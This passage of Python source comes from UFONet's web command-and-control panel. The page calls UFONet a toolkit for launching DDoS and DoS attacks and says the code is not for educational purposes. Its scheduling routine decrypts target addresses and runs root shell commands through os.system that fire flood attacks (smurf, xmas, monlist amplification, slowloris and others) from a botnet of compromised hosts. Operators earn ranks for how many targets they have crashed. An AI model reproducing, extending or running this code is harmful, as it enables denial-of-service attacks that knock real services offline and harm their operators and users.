  1359. </tr></table></td><td><button title="Refreshing blackhole..." onClick="RefreshBlackhole()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Open Warp!</button></td></tr></table>
  1360. <hr>
  1361. <table cellpadding="5" cellspacing="5"><tr>
  1362. <td><a href="javascript:alert('Dhïkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed way...');"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td><td>
  1363. <table cellpading="5" cellspacing="10"><tr><td>
  1364. <form method='GET'>
  1365. Your key: <input type="text" name="blackhole_key" id="blackhole_key" size="20" value='"""+self.crypto_key+"""'>
  1366. </td></tr><tr><td>
  1367. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  1368. </form>
  1369. </td></tr></table></td></tr></table>
  1370. <hr><br>
  1371. </center>
  1372. Last update: <font color='"""+ self.blackholes_status_color + """'>"""+ self.blackholes_datetime + """</font><br><br>
  1373. <div id="cmdOut"></div>
  1374. <div id="nb1" style="display: block;">"""+self.blackholes_text+"""</div>
  1375. """ + self.pages["/footer"]
  1376. def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui refresh (global army supply)
  1377. sep = "#-#"
  1378. flag_ufosyn = None
  1379. flag_spray = None
  1380. flag_smurf = None
  1381. flag_xmas = None
  1382. flag_nuke = None
  1383. flag_tachyon = None
  1384. flag_monlist = None
  1385. for job in wargames_engage_list:
  1386. job_t2 = job.rsplit(sep, 1)[0]
  1387. job_creation = job_t2.rsplit(sep, 1)[0]
  1388. job_target = job_t2.rsplit(sep, 1)[1]
  1389. job_estimated = job.rsplit(sep, 1)[1]
  1390. self.decrypt(self.crypto_key, job_estimated)
  1391. if self.decryptedtext:
  1392. job_estimated_dec = self.decryptedtext
  1393. else:
  1394. job_estimated_dec = ""
  1395. self.decryptedtext = ""
  1396. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1397. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  1398. try:
  1399. job_estimated_dec = strptime(job_estimated_dec.decode('utf-8'), "%d-%m-%Y %H:%M:%S")
  1400. except:
  1401. job_estimated_dec = strptime(job_estimated_dec, "%d-%m-%Y %H:%M:%S")
  1402. if (job_estimated_dec == now or job_estimated_dec < now): # engage it! (when 'now' or '<')
  1403. self.decrypt(self.crypto_key, job_target)
  1404. if self.decryptedtext:
  1405. job_target_dec = self.decryptedtext
  1406. else:
  1407. job_target_dec = ""
  1408. self.decryptedtext = ""
  1409. if job_target_dec is not "":
  1410. job_target_dec = "http://" + job_target_dec # set target prefix to http://
  1411. try: # read global army supply (json)
  1412. with open(self.mothership_supplycfg_file) as data_file:
  1413. data = json.load(data_file)
  1414. except:
  1415. print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
  1416. with open(self.mothership_supplycfg_file, "w") as f:
  1417. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0}, f, indent=4)
  1418. with open(self.mothership_supplycfg_file) as data_file:
  1419. data = json.load(data_file)
  1420. self.supply_botnet = data["botnet"]
  1421. self.supply_loic = data["loic"]
  1422. self.supply_loris = data["loris"]
  1423. self.supply_ufosyn = data["ufosyn"]
  1424. self.supply_spray = data["spray"]
  1425. self.supply_smurf = data["smurf"]
  1426. self.supply_xmas = data["xmas"]
  1427. self.supply_nuke = data["nuke"]
  1428. self.supply_tachyon = data["tachyon"]
  1429. self.supply_monlist = data["monlist"]
  1430. job_estimated_dec = strftime("%d-%m-%Y %H:%M:%S", job_estimated_dec)
  1431. print("[Info] [Wargames] Time is over: [" + str(job_estimated_dec) + "] -> Engaging target: " + str(job_target_dec))
  1432. cmd = ""
  1433. nonroot_cmd = python_version + " -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  1434. root_cmd = "sudo "+ python_version+" -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  1435. if int(self.supply_monlist) > 0:
  1436. cmd += "--monlist " +str(self.supply_monlist)+ " "
  1437. flag_monlist = True
  1438. if int(self.supply_tachyon) > 0:
  1439. cmd += "--tachyon " +str(self.supply_tachyon)+ " "
  1440. flag_tachyon = True
  1441. if int(self.supply_nuke) > 0:
  1442. cmd += "--nuke " +str(self.supply_nuke)+ " "
  1443. flag_nuke = True
  1444. if int(self.supply_xmas) > 0:
  1445. cmd += "--xmas " +str(self.supply_xmas)+ " "
  1446. flag_xmas = True
  1447. if int(self.supply_smurf) > 0:
  1448. cmd += "--smurf " +str(self.supply_smurf)+ " "
  1449. flag_smurf = True
  1450. if int(self.supply_spray) > 0:
  1451. cmd += "--spray " +str(self.supply_spray)+ " "
  1452. flag_spray = True
  1453. if int(self.supply_ufosyn) > 0:
  1454. cmd += "--ufosyn " +str(self.supply_ufosyn)+ " "
  1455. flag_ufosyn = True
  1456. if int(self.supply_loris) > 0:
  1457. cmd += "--loris " +str(self.supply_loris)+ " "
  1458. if int(self.supply_loic) > 0:
  1459. cmd += "--loic " +str(self.supply_loic)+ " "
  1460. if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
  1461. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  1462. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True:
  1463. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST)
  1464. runcmd = cmd + " "
  1465. runcmd = runcmd + "--force-yes &" # no raw_input allowed on webgui (+run it as daemon!)
  1466. print("[Info] [Wargames] Running command:", runcmd, "\n")
  1467. os.system(runcmd) # launch it!
  1468. if "!!!" in job: # remove it from queue (unjob)
  1469. f = open(self.wargames_file, "r")
  1470. ls = f.readlines()
  1471. f.close()
  1472. f = open(self.wargames_file, "w")
  1473. for l in ls:
  1474. if str(l) != str(job):
  1475. f.write(l)
  1476. else:
  1477. job = re.sub('[!!!]', '', job)
  1478. f.write(job)
  1479. f.close()
  1480. def extract_ranking_table(self):
  1481. f = open(self.grid_file,"r") # ranking data extracted from grid.txt
  1482. ls = f.readlines()
  1483. f.close()
  1484. if not ls: # not data on grid.txt
  1485. return
  1486. ranking_items={}
  1487. ranking_key = crypto_key
  1488. nodec_text = "Anonymous"
  1489. nodec_num = 0
  1490. self.ranking_grid_total = 0
  1491. try:
  1492. for j in ls:
  1493. if grid_msg_sep in j:
  1494. self.ranking_grid_total = self.ranking_grid_total + 1
  1495. m = j.split(grid_msg_sep)
  1496. ranking_nickname = m[0] # nickname
  1497. self.decrypt(ranking_key, ranking_nickname)
  1498. if self.decryptedtext:
  1499. ranking_nickname = str(self.decryptedtext)
  1500. else:
  1501. ranking_nickname = nodec_text
  1502. if ranking_nickname == "Anonymous":
  1503. ranking_nickname = ranking_nickname + str(self.ranking_grid_total*3) # add pseudo-rand as end to evade similars
  1504. self.decryptedtext = "" # clean decryptedtext buffer
  1505. ranking_ranking = m[1] # ranking
  1506. self.decrypt(ranking_key, ranking_ranking)
  1507. if self.decryptedtext:
  1508. try:
  1509. ranking_ranking = int(self.decryptedtext)
  1510. except:
  1511. ranking_ranking = nodec_num
  1512. else:
  1513. ranking_ranking = nodec_num
  1514. ranking_items[ranking_nickname] = ranking_ranking
  1515. except:
  1516. ranking_nickname = "Anonymous"
  1517. ranking_ranking = 0
  1518. ranking_items[ranking_nickname] = ranking_ranking
  1519. self.top_rookie = []
  1520. self.top_mercenary = []
  1521. self.top_bandit = []
  1522. self.top_ufommander = []
  1523. self.top_ufoleet = []
  1524. for k, v in ranking_items.items():
  1525. if v is 0: # not any data (or decryption allowed) on grid so discard
  1526. pass
  1527. if v is 1: # add this player as a rookie
  1528. self.ranking_grid_rookie = self.ranking_grid_rookie + 1
  1529. self.top_rookie.append(k)
  1530. elif v is 2: # add this player as a mercenary
  1531. self.ranking_grid_mercenary = self.ranking_grid_mercenary + 1
  1532. self.top_mercenary.append(k)
  1533. elif v is 3: # add this player as a bandit
  1534. self.ranking_grid_bandit = self.ranking_grid_bandit + 1
  1535. self.top_bandit.append(k)
  1536. elif v is 4: # add this player as a ufommander
  1537. self.ranking_grid_ufommander = self.ranking_grid_ufommander + 1
  1538. self.top_ufommander.append(k)
  1539. elif v is 5: # add this player as a ufoleet
  1540. self.ranking_grid_ufoleet = self.ranking_grid_ufoleet + 1
  1541. self.top_ufoleet.append(k)
  1542. else: # add this player as unknown
  1543. self.ranking_grid_unknown = self.ranking_grid_unknown + 1
  1544. top5 = sorted(ranking_items, key=ranking_items.get, reverse=True)[:5]
  1545. for p in top5: # extract best players
  1546. if self.ranking_top5_player1 == "Anonymous":
  1547. self.ranking_top5_player1 = p
  1548. elif self.ranking_top5_player2 == "Anonymous":
  1549. self.ranking_top5_player2 = p
  1550. elif self.ranking_top5_player3 == "Anonymous":
  1551. self.ranking_top5_player3 = p
  1552. elif self.ranking_top5_player4 == "Anonymous":
  1553. self.ranking_top5_player4 = p
  1554. elif self.ranking_top5_player5 == "Anonymous":
  1555. self.ranking_top5_player5 = p
  1556. if self.ranking == "Rookie":
  1557. shuffle(self.top_rookie) # shuffle for different results
  1558. top3 = self.top_rookie[:3]
  1559. elif self.ranking == "Mercenary":
  1560. shuffle(self.top_mercenary)
  1561. top3 = self.top_mercenary[:3]
  1562. elif self.ranking == "Bandit":
  1563. shuffle(self.top_bandit)
  1564. top3 = self.top_bandit[:3]
  1565. elif self.ranking == "UFOmmander!":
  1566. shuffle(self.top_ufommander)
  1567. top3 = self.top_ufommander[:3]
  1568. elif self.ranking == "UFOl33t!":
  1569. shuffle(self.top_ufoleet)
  1570. top3 = self.top_ufoleet[:3]
  1571. for p in top3: # extract similar player
  1572. if self.ranking_similar_player1 == "Anonymous":
  1573. self.ranking_similar_player1 = p
  1574. elif self.ranking_similar_player2 == "Anonymous":
  1575. self.ranking_similar_player2 = p
  1576. elif self.ranking_similar_player3 == "Anonymous":
  1577. self.ranking_similar_player3 = p
  1578. top1 = sorted(ranking_items, key=ranking_items.get, reverse=True)
  1579. shuffle(top1) # shuffle for different results
  1580. top1 = random.choice(top1).strip() # extract random player
  1581. self.ranking_top1_player1 = top1
  1582. def __init__(self):
  1583. self.crypto_key = crypto_key # set default symmetric crypto key
  1584. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  1585. self.board_file = 'data/board.txt' # set source path to retrieve board warning message
  1586. self.grid_file = 'data/grid.txt' # set source path to retrieve grid
  1587. self.board_warning = "" # set initial (str) board warning message
  1588. self.wargames_file = 'data/wargames.txt' # set source path to retrieve wargames
  1589. self.zombies_file = "botnet/zombies.txt" # set source path to retrieve 'zombies'
  1590. self.aliens_file = "botnet/aliens.txt" # set source path to retrieve 'aliens'
  1591. self.droids_file = "botnet/droids.txt" # set source path to retrieve 'droids'
  1592. self.ucavs_file = "botnet/ucavs.txt" # set source path to retrieve 'ucavs'
  1593. self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs'
  1594. self.release_date_file = "docs/release.date" # set source path to retrieve release date
  1595. self.news = "data/news.txt" # set source path to retrieve server news
  1596. self.missions = "data/missions.txt" # set source path to retrieve server missions
  1597. self.mothership_webcfg_file = 'core/json/webcfg.json' # set source for mothership webcfg
  1598. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  1599. self.mothership_boardcfg_file = 'core/json/boardcfg.json' # set source for mothership boardcfg
  1600. self.mothership_gridcfg_file = 'core/json/gridcfg.json' # set source for mothership gridcfg
  1601. self.mothership_supplycfg_file = 'core/json/supplycfg.json' # set source for mothership supplyscfg
  1602. self.ranking = "Rookie Star" # set starting rank
  1603. self.decryptedtext = "" # set buffer for decryption
  1604. self.encryptedtext = "" # set buffer for encryption
  1605. self.blackholes = "data/nodes.dat" # set source path to retrieve server blackholes (nodes.dat)
  1606. self.blackhole = default_blackhole # set default blackhole
  1607. self.blackholes_status = "Not connected!" # set default status for blackholes
  1608. self.blackholes_status_color = "red" # set default status color for blackholes
  1609. self.referer = 'http://127.0.0.1/'
  1610. self.mothershipname = "core/txt/shipname.txt"
  1611. self.ufonet_logo_img = open("core/images/ufonet-logo.txt").read()
  1612. self.favicon_img = open("core/images/favicon.txt").read()
  1613. self.mothership_img = open("core/images/mothership.txt").read()
  1614. self.commander_img = open("core/images/commander.txt").read()
  1615. self.board_img = open("core/images/board.txt").read()
  1616. self.alien1_img = open("core/images/aliens/alien1.txt").read()
  1617. self.alien2_img = open("core/images/aliens/alien2.txt").read()
  1618. self.alien3_img = open("core/images/aliens/alien3.txt").read()
  1619. self.alien4_img = open("core/images/aliens/alien4.txt").read()
  1620. self.alien5_img = open("core/images/aliens/alien5.txt").read()
  1621. self.alien6_img = open("core/images/aliens/alien6.txt").read()
  1622. self.alien7_img = open("core/images/aliens/alien7.txt").read()
  1623. self.alien8_img = open("core/images/aliens/alien8.txt").read()
  1624. self.ranking_grid_total = 0
  1625. self.ranking_grid_rookie = 0
  1626. self.ranking_grid_mercenary = 0
  1627. self.ranking_grid_bandit = 0
  1628. self.ranking_grid_ufommander = 0
  1629. self.ranking_grid_ufoleet = 0
  1630. self.ranking_grid_unknown = 0
  1631. self.ranking_top5_player1 = "Anonymous"
  1632. self.ranking_top5_player2 = "Anonymous"
  1633. self.ranking_top5_player3 = "Anonymous"
  1634. self.ranking_top5_player4 = "Anonymous"
  1635. self.ranking_top5_player5 = "Anonymous"
  1636. self.ranking_similar_player1 = "Anonymous"
  1637. self.ranking_similar_player2 = "Anonymous"
  1638. self.ranking_similar_player3 = "Anonymous"
  1639. self.ranking_top1_player1 = "Anonymous"
  1640. f = open(self.mothershipname) # extract ship name
  1641. self.mothership_id = f.read()
  1642. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1643. f.close()
  1644. f = open(self.release_date_file) # extract release creation datetime
  1645. self.release_date = f.read()
  1646. # adding AnonTwi (anontwi.03c8.net) cyphering -> AES256+HMAC-SHA1
  1647. self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
  1648. self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
  1649. self.trans_5C = self.trans_5C.encode("latin-1")
  1650. self.trans_36 = self.trans_36.encode("latin-1")
  1651. f.close()
  1652. f = open(self.blackholes) # double extract blackholes (nodes.dat)
  1653. self.blackholes_text = f.read()
  1654. f.close()
  1655. f = open(self.blackholes)
  1656. self.blackholes_block = f.readlines()
  1657. f.close()
  1658. self.list_blackholes = []
  1659. for b in self.blackholes_block:
  1660. self.list_blackholes.append(b)
  1661. self.blackholes_datetime = time.ctime(os.path.getctime('data/nodes.dat')) # extract nodes.dat datetime
  1662. if self.blackholes_datetime == self.release_date_file: # never connected to feeds
  1663. self.blackholes_status_color = "red" # set status color for blackholes to 'red'
  1664. else:
  1665. self.blackholes_status_color = "green" # set status color for blackholes to 'green'
  1666. f = open(self.news) # double extract news
  1667. self.news_text = f.read()
  1668. f.close()
  1669. f = open(self.news)
  1670. self.news_block = f.readlines()
  1671. f.close()
  1672. self.list_news = []
  1673. for n in self.news_block:
  1674. self.list_news.append(n)
  1675. self.news_datetime = time.ctime(os.path.getctime('data/news.txt')) # extract news.txt datetime
  1676. if self.news_datetime == self.release_date_file: # never connected to feeds
  1677. self.news_status_color = "red" # set status color for news to 'red'
  1678. else:
  1679. self.news_status_color = "green" # set status color for news to 'green'
  1680. f = open(self.board_file) # double extract board
  1681. self.moderator_text = f.read()
  1682. f.close()
  1683. f = open(self.board_file)
  1684. self.moderator_block = f.readlines()
  1685. f.close()
  1686. self.list_moderator = []
  1687. for n in self.moderator_block:
  1688. self.list_moderator.append(n)
  1689. f = open(self.grid_file) # double grid board
  1690. self.grid_text = f.read()
  1691. self.ranking_text = f.read() # ranking data is extracted from grid
  1692. f.close()
  1693. f = open(self.grid_file)
  1694. self.grid_block = f.readlines()
  1695. f.close()
  1696. self.list_grid = []
  1697. for n in self.grid_block:
  1698. self.list_grid.append(n)
  1699. self.ranking_datetime = time.ctime(os.path.getctime('data/grid.txt')) # extract grid.txt datetime for ranking calcs
  1700. if self.ranking_datetime == self.release_date_file: # never connected to feeds
  1701. self.ranking_status_color = "red" # set status color for ranking to 'red'
  1702. else:
  1703. self.ranking_status_color = "green" # set status color for ranking to 'green'
  1704. f = open(self.wargames_file) # double wargames board
  1705. self.wargames_text = f.read()
  1706. f.close()
  1707. f = open(self.wargames_file)
  1708. self.wargames_block = f.readlines()
  1709. f.close()
  1710. self.list_wargames = []
  1711. for n in self.wargames_block:
  1712. self.list_wargames.append(n)
  1713. f = open(self.missions) # double extract missions
  1714. self.missions_text = f.read()
  1715. f.close()
  1716. f = open(self.missions)
  1717. self.missions_block = f.readlines()
  1718. f.close()
  1719. self.list_missions = []
  1720. for m in self.missions_block:
  1721. self.list_missions.append(m)
  1722. self.missions_datetime = time.ctime(os.path.getctime('data/missions.txt')) # extract missions.txt datetime
  1723. if self.missions_datetime == self.release_date_file: # never connected to feeds
  1724. self.missions_status_color = "red" # set status color for missions to 'red'
  1725. else:
  1726. self.missions_status_color = "green" # set status color for missions to 'green'
  1727. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  1728. data = json.load(stats_json_file)
  1729. stats_json_file.close()
  1730. self.abductor = Abductor(self) # call abductor for data size conversor
  1731. self.aflying = data["flying"]
  1732. self.ascanner = data["scanner"]
  1733. self.atransferred = data["transferred"]
  1734. self.amax_chargo = data["max_chargo"]
  1735. self.amissions = data["missions"]
  1736. self.acompleted = data["completed"]
  1737. self.aloic = data["loic"]
  1738. self.aloris = data["loris"]
  1739. self.aufosyn = data["ufosyn"]
  1740. self.aspray = data["spray"]
  1741. self.asmurf = data["smurf"]
  1742. self.axmas = data["xmas"]
  1743. self.anuke = data["nuke"]
  1744. self.atachyon = data["tachyon"]
  1745. self.amonlist = data["monlist"]
  1746. self.tcrashed = data["crashed"]
  1747. if int(self.acompleted) > 0: # check for attacks completed
  1748. self.mothership_acc = Decimal((int(self.tcrashed) * 100) / int(self.acompleted)) # decimal rate: crashed*100/completed
  1749. else:
  1750. self.mothership_acc = 100 # WarGames: "the only way to win in Nuclear War is not to play"
  1751. if int(self.acompleted) < 5: # generating motherships commander ranks by rpg/experiences
  1752. self.ranking = "Rookie"
  1753. elif int(self.acompleted) > 4 and int(self.tcrashed) < 1: # add first ranking step on 5 complete attacks
  1754. self.ranking = "Mercenary"
  1755. elif int(self.tcrashed) > 0 and int(self.tcrashed) < 2: # second ranking step with almost 1 crashed
  1756. self.ranking = "Bandit"
  1757. elif int (self.acompleted) < 50 and int(self.tcrashed) > 4: # third ranking value is only for real "crashers" ;-)
  1758. self.ranking = "UFOmmander!"
  1759. elif int(self.acompleted) > 49 and int(self.tcrashed) > 4: # this people is trying to build a Global Federated Network >-)
  1760. self.ranking = "UFOl33t!"
  1761. f = open(self.zombies_file)
  1762. self.zombies = f.readlines()
  1763. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1764. self.list_zombies = []
  1765. for zombie in self.zombies:
  1766. t = urlparse(zombie)
  1767. name_zombie = t.netloc
  1768. if "www." in name_zombie:
  1769. name_zombie = name_zombie.replace("www.","")
  1770. self.list_zombies.append(name_zombie)
  1771. self.num_zombies = str(len(self.zombies))
  1772. f.close()
  1773. f = open(self.aliens_file)
  1774. self.aliens = f.readlines()
  1775. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1776. self.list_aliens = []
  1777. for alien in self.aliens:
  1778. t = urlparse(alien)
  1779. name_alien = t.netloc
  1780. if "www." in name_alien:
  1781. name_alien = name_alien.replace("www.","")
  1782. self.list_aliens.append(name_alien)
  1783. self.num_aliens = str(len(self.aliens))
  1784. f.close()
  1785. f = open(self.droids_file)
  1786. self.droids = f.readlines()
  1787. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1788. self.list_droids = []
  1789. for droid in self.droids:
  1790. t = urlparse(droid)
  1791. name_droid = t.netloc
  1792. if "www." in name_droid:
  1793. name_droid = name_droid.replace("www.","")
  1794. self.list_droids.append(name_droid)
  1795. self.num_droids = str(len(self.droids))
  1796. f.close()
  1797. f = open(self.ucavs_file)
  1798. self.ucavs = f.readlines()
  1799. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1800. self.list_ucavs = []
  1801. for ucav in self.ucavs:
  1802. t = urlparse(ucav)
  1803. name_ucav = t.netloc
  1804. if "www." in name_ucav:
  1805. name_ucav = name_ucav.replace("www.","")
  1806. self.list_ucavs.append(name_ucav)
  1807. self.num_ucavs = str(len(self.ucavs))
  1808. f.close()
  1809. f = open(self.rpcs_file)
  1810. self.rpcs = f.readlines()
  1811. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1812. self.list_rpcs = []
  1813. for rpc in self.rpcs:
  1814. t = urlparse(rpc)
  1815. name_rpc = t.netloc
  1816. if "www." in name_rpc:
  1817. name_rpc = name_rpc.replace("www.","")
  1818. self.list_rpcs.append(name_rpc)
  1819. self.num_rpcs = str(len(self.rpcs))
  1820. f.close()
  1821. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1822. f = open(self.wargames_file, "r")
  1823. ls = f.readlines()
  1824. f.close()
  1825. self.supply_wargames = 0
  1826. self.wargames_engage_list = []
  1827. for l in ls:
  1828. if "!!!" in l:
  1829. self.wargames_engage_list.append(l)
  1830. self.supply_wargames = self.supply_wargames + 1
  1831. if self.supply_wargames > 0:
  1832. if self.supply_wargames == 1:
  1833. c_supply = "wargame"
  1834. else:
  1835. c_supply = "wargames"
  1836. self.current_tasks = '<br>-----------------------------------\n\n+ Jobs: <a href="/wargames">' + str(self.supply_wargames) + '</a> '+c_supply+''
  1837. self.wargames_engage_routine(self.wargames_engage_list) # threaded jobs engage routine
  1838. else:
  1839. self.current_tasks = ""
  1840. self.options = UFONetOptions()
  1841. self.pages = {}
  1842. self.pages["/header"] = """<!DOCTYPE html><html>
  1843. <head>
  1844. <link rel="icon" type="image/png" href="/images/favicon.ico" />
  1845. <meta name="author" content="psy">
  1846. <meta name="robots" content="noindex, nofollow">
  1847. <meta http-equiv="content-type" content="text/xml; charset=utf-8" />
  1848. <title>UFONet - [ C&C/DarkNet ]</title>
  1849. <script language="javascript" src="/lib.js"></script>
  1850. <script language="javascript" src="js/stars.js"></script>
  1851. <style>
  1852. body{font-size:15px}a,a:hover{outline:none;color:red;font-size:14px;font-weight:700}nav ul ul{display:none}nav ul li:hover > ul{display:block}nav ul{list-style:none;position:relative;display:inline-table}nav ul:after{content:"";clear:both;display:block}nav ul li{font-size:12px}nav ul li a{display:block;padding:2px 3px}html,body{height:100%}ul,li{margin:0;padding:0}.ringMenu{width:100px;margin:80px auto}.ringMenu ul{list-style:none;position:relative;width:100px;color:#fff}.ringMenu ul a{color:#fff}.ringMenu ul li{-webkit-transition:all .3s ease-in-out;-moz-transition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}.ringMenu ul li a{display:block;width:100px;height:100px;background:rgba(50,50,50,0.7);text-align:center;line-height:100px;-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px}.ringMenu ul li a:hover{background:rgba(230,150,20,0.7)}.ringMenu ul li:not(.main){-webkit-transform:rotate(-180deg) scale(0);-moz-transform:rotate(-180deg) scale(0);-o-transform:rotate(-180deg) scale(0);transform:rotate(-180deg) scale(0);opacity:0}.ringMenu:hover ul li{-webkit-transform:rotate(0) scale(1);-moz-transform:rotate(0) scale(1);-o-transform:rotate(0) scale(1);transform:rotate(0) scale(1);opacity:1}.ringMenu ul li.top{-webkit-transform-origin:50% 152px;-moz-transform-origin:50% 152px;-o-transform-origin:50% 152px;transform-origin:50% 152px;position:absolute;top:-102px;left:0}.ringMenu ul li.bottom{-webkit-transform-origin:50% -52px;-moz-transform-origin:50% -52px;-o-transform-origin:50% -52px;transform-origin:50% -52px;position:absolute;bottom:-102px;left:0}.ringMenu ul li.right{-webkit-transform-origin:-52px 50%;-moz-transform-origin:-52px 50%;-o-transform-origin:-52px 50%;transform-origin:-52px 50%;position:absolute;top:0;right:-102px}.ringMenu ul li.left{-webkit-transform-origin:152px 50%;-moz-transform-origin:152px 50%;-o-transform-origin:152px 50%;transform-origin:152px 50%;position:absolute;top:0;left:-102px}textarea{padding:30px 0}
  1853. </style>"""
  1854. self.pages["/footer"] = """</center></body>
  1855. </html>
  1856. """
  1857. self.pages["/"] = self.pages["/header"] + """<script language="javascript">
  1858. function Start() {
  1859. var win_start = window.open("gui","_parent","fullscreen=yes, titlebar=yes, top=180, left=320, width=640, height=460, resizable=yes", false);
  1860. }
  1861. </script>
  1862. <script type="text/javascript">
  1863. var text="REMEMBER -> This code is NOT for educational purposes!!";
  1864. var delay=1;
  1865. var currentChar=1;
  1866. var destination="tt";
  1867. function type()
  1868. {
  1869. if (document.getElementById)
  1870. {
  1871. var dest=document.getElementById(destination);
  1872. if (dest)
  1873. {
  1874. dest.innerHTML=text.substr(0, currentChar);
  1875. currentChar++
  1876. if (currentChar>text.length)
  1877. {
  1878. currentChar=1;
  1879. setTimeout("type()", 5000);
  1880. }
  1881. else
  1882. {
  1883. setTimeout("type()", delay);
  1884. }
  1885. }
  1886. }
  1887. }
  1888. function startTyping(textParam, delayParam, destinationParam)
  1889. {
  1890. text=textParam;
  1891. delay=delayParam;
  1892. currentChar=1;
  1893. destination=destinationParam;
  1894. type();
  1895. }
  1896. </script>
  1897. <link rel="stylesheet" href="/js/ufo-cloud.css" />
  1898. </head>
  1899. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1900. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1901. <center><br><br><br><br>
  1902. <table><tr><td><img src='data:image/png;base64,"""+self.ufonet_logo_img+"""'></td><td>
  1903. <div class="ufo-cloud">
  1904. <ul>
  1905. <li><a href="javascript:alert('Let them hate so long as they fear...');"><span></span>'oderint dum metuant'</a></li>
  1906. <li><a href="javascript:alert('In order to achieve what has been undertaken...');"><span></span>'ad susceptum perficiendum'</a></li>
  1907. <li><a href="javascript:alert('Out of order, comes chaos...');"><span></span>'chao ab ordo'</a></li>
  1908. <li><a href="javascript:alert('The truth being enveloped by obscure things...');"><span></span>'obscuris vera involvens'</a></li>
  1909. <li><a href="javascript:alert('Everything changes, nothing perishes...');"><span></span>'omnia mutantur, nihil interit'</a></li>
  1910. <li><a href="javascript:alert('One world...');"><span></span>'orbis unum'</a></li>
  1911. <li><a href="javascript:alert('If you want peace, prepare the war...');"><span></span>'si vis pacem, para bellum'</a></li>
  1912. <li><a href="javascript:alert('Man is a wolf to man...');"><span></span>'homo homini lupus'</a></li>
  1913. <li><a href="javascript:alert('Ignorance is the cause of fear...');"><span></span>'causa de timendi est nescire'</a></li>
  1914. <li><a href="javascript:alert('There is still time...');"><span></span>'adhuc tempus'</a></li>
  1915. <li><a href="javascript:alert('No regime is sustained for a long time exercising violence...');"><span></span>'iniqua nunquam regna perpetuo manent'</a></li>
  1916. <li><a href="javascript:alert('From one, learn all...');"><span></span>'ab uno disce omnes'</a></li>
  1917. <li><a href="javascript:alert('One for all, all for one...');"><span></span>'unus pro omnibus, omnes pro uno'</a></li>
  1918. <li><a href="javascript:alert('Do what you are doing...');"><span></span>'age quod agis'</a></li>
  1919. <li><a href="javascript:alert('Make your move...');"><span></span>'fac et excusa'</a></li>
  1920. <li><a href="javascript:alert('Divide and conquer...');"><span></span>'divide et impera'</a></li>
  1921. <li><a href="javascript:alert('If you did it, deny it...');"><span></span>'si fecisti nega'</a></li>
  1922. <li><a href="javascript:alert('There is no law, if there is a need...');"><span></span>'necessitas caret lege'</a></li>
  1923. <li><a href="javascript:alert('Let justice be done, and let the world perish...');"><span></span>'fiat iustitia, et pereat mundus'</a></li>
  1924. </ul>
  1925. </div>
  1926. </td></tr></table><br>
  1927. <hr>
  1928. <br /><b><a href="https://ufonet.03c8.net" target="_blank">UFONet</a></b> - is a toolkit designed to launch <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks.<br /><br />
  1929. <div id="tt">REMEMBER -> This code is NOT for educational purposes!!</div><br />
  1930. <script type="text/javascript">
  1931. startTyping(text, 80, "tt");
  1932. </script><hr><br />
  1933. <button title="Start to fly with your UFONet mothership..." onclick="Start()" style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">START MOTHERSHIP!</button>""" + self.pages["/footer"]
  1934. self.pages["/gui"] = self.pages["/header"] + """<script>function News() {
  1935. var win_requests = window.open("news","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1936. }
  1937. </script>
  1938. <script>function Missions() {
  1939. var win_requests = window.open("missions","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1940. }
  1941. </script>
  1942. <script>function Stats() {
  1943. var win_requests = window.open("stats","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1944. }
  1945. </script>
